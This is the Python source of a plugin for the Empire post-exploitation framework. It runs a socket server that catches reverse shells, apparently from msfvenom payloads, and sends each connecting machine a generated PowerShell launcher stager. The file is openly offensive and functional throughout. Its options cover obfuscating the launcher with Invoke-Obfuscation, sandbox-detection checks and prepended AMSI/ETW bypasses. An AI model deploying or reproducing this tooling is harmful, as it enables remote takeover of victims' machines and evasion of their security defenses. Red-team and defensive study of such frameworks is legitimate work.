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reverseshell_stager_server.plugin
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reverseshell_stager_server.plugin
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from __future__ import print_function
import socket
import empire.server.common.helpers as helpers
from empire.server.common.plugins import Plugin
class Plugin(Plugin):
description = "Empire reverseshell stager server plugin."
def onLoad(self):
print(helpers.color("[*] Loading Empire reverseshell server plugin"))
self.info = {
"Name": "reverseshell_stager_server",
"Author": ["@Cx01N"],
"Description": (
"Server for reverseshell using msfvenom to act as a stage 0."
),
"Software": "",
"Techniques": [""],
"Comments": [],
}
self.options = {
# format:
# value_name : {description, required, default_value}
"Listener": {
"Description": "Listener to generate stager for.",
"Required": True,
"Value": "",
},
"LocalHost": {
"Description": "Address for the reverse shell to connect back to.",
"Required": True,
"Value": "0.0.0.0",
},
"LocalPort": {
"Description": "Port on local host for the reverse shell.",
"Required": True,
"Value": "9999",
},
"Language": {
"Description": "Language of the stager to generate.",
"Required": True,
"Value": "powershell",
"SuggestedValues": ["powershell"],
"Strict": True,
},
"StagerRetries": {
"Description": "Times for the stager to retry connecting.",
"Required": False,
"Value": "0",
},
"OutFile": {
"Description": "Filename that should be used for the generated output.",
"Required": False,
"Value": "launcher.exe",
},
"Base64": {
"Description": "Switch. Base64 encode the output.",
"Required": True,
"Value": "True",
"SuggestedValues": ["True", "False"],
"Strict": True,
},
"Obfuscate": {
"Description": "Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.",
"Required": False,
"Value": "False",
"SuggestedValues": ["True", "False"],
"Strict": True,
},
"ObfuscateCommand": {
"Description": "The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.",
"Required": False,
"Value": r"Token\All\1",
},
"SafeChecks": {
"Description": "Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.",
"Required": True,
"Value": "True",
"SuggestedValues": ["True", "False"],
"Strict": True,
},
"UserAgent": {
"Description": "User-agent string to use for the staging request (default, none, or other).",
"Required": False,
"Value": "default",
},
"Proxy": {
"Description": "Proxy to use for request (default, none, or other).",
"Required": False,
"Value": "default",
},
"ProxyCreds": {
"Description": "Proxy credentials ([domain\]username:password) to use for request (default, none, or other).",
"Required": False,
"Value": "default",
},
"Bypasses": {
"Description": "Bypasses as a space separated list to be prepended to the launcher",
"Required": False,
"Value": "mattifestation etw",
},
"Status": {
"Description": "<start/stop/status>",
"Required": True,
"Value": "start",
"SuggestedValues": ["start", "stop", "status"],
"Strict": True,
},
}
def execute(self, command):
try:
self.reverseshell_proc = None
self.status = self.options["Status"]["Value"]
results = self.do_server("")
return results
except Exception as e:
print(e)
self.main_menu.plugin_socketio_message(self.info[0]["Name"], f"[!] {e}")
return False
def get_commands(self):
return self.commands
def register(self, mainMenu):
"""
any modifications to the mainMenu go here - e.g.
registering functions to be run by user commands
"""
mainMenu.__class__.do_server = self.do_server
self.installPath = mainMenu.installPath
self.main_menu = mainMenu
def do_server(self, *args):
"""
Check if the Empire C# server is already running.
"""
if self.reverseshell_proc:
self.enabled = True
else:
self.enabled = False
if self.status == "status":
if self.enabled:
self.main_menu.plugin_socketio_message(
self.info["Name"], "[+] Reverseshell server is currently running"
)
else:
self.main_menu.plugin_socketio_message(
self.info["Name"], "[!] Reverseshell server is currently stopped"
)
elif self.status == "stop":
if self.enabled:
self.reverseshell_proc.kill()
self.main_menu.plugin_socketio_message(
self.info["Name"], "[!] Stopped reverseshell server"
)
else:
self.main_menu.plugin_socketio_message(
self.info["Name"], "[!] Reverseshell server is already stopped"
)
elif self.status == "start":
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
base64 = self.options["Base64"]["Value"]
obfuscate = self.options["Obfuscate"]["Value"]
obfuscate_command = self.options["ObfuscateCommand"]["Value"]
user_agent = self.options["UserAgent"]["Value"]
proxy = self.options["Proxy"]["Value"]
proxy_creds = self.options["ProxyCreds"]["Value"]
stager_retries = self.options["StagerRetries"]["Value"]
safe_checks = self.options["SafeChecks"]["Value"]
lhost = self.options["LocalHost"]["Value"]
lport = self.options["LocalPort"]["Value"]
encode = False
if base64.lower() == "true":
encode = True
invoke_obfuscation = False
if obfuscate.lower() == "true":
invoke_obfuscation = True
# generate the launcher code
self.launcher = self.main_menu.stagers.generate_launcher(
listener_name,
language=language,
encode=encode,
obfuscate=invoke_obfuscation,
obfuscationCommand=obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
stagerRetries=stager_retries,
safeChecks=safe_checks,
bypasses=self.options["Bypasses"]["Value"],
)
if self.launcher == "":
self.main_menu.plugin_socketio_message(
self.info["Name"], "[!] Error in launcher command generation."
)
return ""
self.reverseshell_proc = helpers.KThread(
target=self.server_listen, args=(str(lhost), str(lport))
)
self.reverseshell_proc.daemon = True
self.reverseshell_proc.start()
def shutdown(self):
try:
self.reverseshell_proc.kill()
self.thread.kill()
except:
pass
return
def client_handler(self, client_socket):
self.thread = helpers.KThread(target=self.o, args=[client_socket])
self.thread.daemon = True
self.thread.start()
try:
buffer = self.launcher + "\n"
client_socket.send(buffer.encode())
except KeyboardInterrupt:
client_socket.close()
except:
client_socket.close()
def server_listen(self, host, port):
try:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, int(port)))
except:
return f"[!] Can't bind at {host}:{port}"
self.main_menu.plugin_socketio_message(
self.info["Name"], "[*] Listening on %s ..." % port
)
server.listen(5)
try:
while self.status == "start":
client_socket, addr = server.accept()
self.client_handler(client_socket)
except KeyboardInterrupt:
return None
def o(self, s):
while 1:
try:
data = ""
while 1:
packet = s.recv(1024)
data += packet.decode()
if len(packet) < 1024:
break
if not len(data):
s.close()
break
except:
s.close()
break